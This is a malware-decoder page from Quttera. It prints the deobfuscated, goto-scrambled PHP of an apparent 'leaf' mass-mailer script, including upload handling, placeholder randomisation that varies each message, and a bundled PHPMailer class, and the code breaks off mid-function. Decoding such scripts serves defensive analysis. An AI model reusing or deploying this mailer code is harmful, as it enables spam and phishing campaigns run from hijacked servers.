Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto ZLmK3; MUT1C: if (empty($_FILES["fileToUpload"]["tmp_name"])) { goto TMoNe; } goto qPjOd; B6_GB: Ep_Sp: goto qSj3n; c2k_o: goto JPzXX; goto MbX5Z; QLjX9: sLXKR: goto L2Cpq; vpTUP: $Nxha4 = "checked"; goto yLd1t; eYP4I: goto bswFB; goto vnXPE; oEIYg: if ($_POST["messageType"] == 2) { goto wtm0D; } goto zOUoB; MbX5Z: Hk6C9: goto ISkMz; Dm2vt: YjpyF: goto C22PN; qwfTD: print "    <div class="col-lg-">"; goto E1hdo; UbNhm: $T3VVp->addReplyTo(leafClear($H7ity, $D2erR)); goto R4pmx; KOeL3: if (isset($_POST["senderEmail"])) { goto NOvIb; } goto gzUJ_; Z3aMu: $rCnx9 = "selected"; goto rdBMO; V3Ou6: bxN7m: goto hR6Gp; lCYmc: HxiQd: goto TSpSS; pMxDx: print "<body>"; goto Ya1pq; lfg4f: $qu7qj = md5(__FILE__); goto O_N6U; iZ7_i: $Cp3Wq = leafTrim($_POST["senderEmail"]); goto Fv4dx; H8xfk: goto q3S9d; goto Y7VrN; eHtKW: $T3VVp->AltBody = strip_tags(leafClear($cjbiA, $D2erR)); goto V3Ou6; WOXxY: header("Content-Type: text/plain"); goto c2k_o; ohU_H: if ($ZRCiR == 1) { goto kIT1d; } goto vsaFt; h89_N: foreach ($wfyi9 as $D2erR) { foreach ($KXrmO as $CuWqM) { if (!strstr($D2erR, $CuWqM)) { goto MnOck; } print $D2erR . "
"; goto zCzez; MnOck: SeLcb: } zCzez: t2ivD: } goto rylQa; COAuN: hKpxi: goto BBsON; GvXww: function leafMailCheck($D2erR) { if (filter_var($D2erR, FILTER_VALIDATE_EMAIL)) { goto mZxnI; } return false; goto YBmj8; mZxnI: return true; YBmj8: } goto DPbSg; gCZ9h: print "<table >"; goto wHqyD; bM0dj: $qTx3q = count($F6fMk); goto Xy57F; aVE9f: NOvIb: goto elzhE; py3_X: $_SESSION[$qu7qj] = $fzPIW; goto AkMzw; LIVKc: leafheader(); goto pMxDx; C3jzs: function leafClear($ROGyB, $D2erR) { $Hy1W4 = explode("@", $D2erR); $sxXxh = $Hy1W4[0]; $X2OKL = $Hy1W4[1]; $ROGyB = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $ROGyB); $ROGyB = str_replace("[-email-]", $D2erR, $ROGyB); $ROGyB = str_replace("[-emailuser-]", $sxXxh, $ROGyB); $ROGyB = str_replace("[-emaildomain-]", $X2OKL, $ROGyB); $ROGyB = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz"), $ROGyB); $ROGyB = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz01456789"), $ROGyB); $ROGyB = str_replace("[-randomnumber-]", randString("01234789"), $ROGyB); $ROGyB = str_replace("[-randommd5-]", md5(randString("abcdefghijklmnopqrstuvwxyz01256789")), $ROGyB); return $ROGyB; } goto D6dQq; elzhE: class PHPMailer { public $Version = "5r.28"; public $Priority = null; public $CharSet = "iso-8859-1"; public $ContentType = "text/plain"; public $Encoding = "8bit"; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\xa"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = " "; public static $validator = "auto"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "
"; const MAX_LINE_LENGTH = 998; public function __construct($PpHun = null) { if (!($PpHun !== null)) { goto iX0os; } $this->exceptions = (bool) $PpHun; iX0os: $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_) { if (ini_get("mbstring.func_overload") & 1) { goto H10z0; } $O5Nl2 = $this->encodeHeader($this->secureHeader($O5Nl2)); goto Xbnel; H10z0: $O5Nl2 = $this->secureHeader($O5Nl2); Xbnel: if (ini_get("safe_mode") or !$this->UseSendmailOptions or is_null($azIW_)) { goto JrxYS; } $FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_); goto euK4q; JrxYS: $FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB); euK4q: return $FqysX; } protected function edebug($xyy5m) { if (!($this->SMTPDebug <= 0)) { goto ZnHST; } return; ZnHST: if (!(!in_array($this->Debugoutput, array("error_log", "html", "echo")) and is_callable($this->Debugoutput))) { goto cfAj3; } call_user_func($this->Debugoutput, $xyy5m, $this->SMTPDebug); return; cfAj3: switch ($this->Debugoutput) { case "error_log": error_log($xyy5m); goto QcSoX; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $xyy5m), ENT_QUOTES, "UTF-8") . "<br>
"; goto QcSoX; case "echo": default: $xyy5m = preg_replace("/\r\n?/ms", "\xa", $xyy5m); echo gmdate("Y-m-d H:i:s") . "\x9" . str_replace("
", 



© 2023 Quttera Ltd. All rights reserved.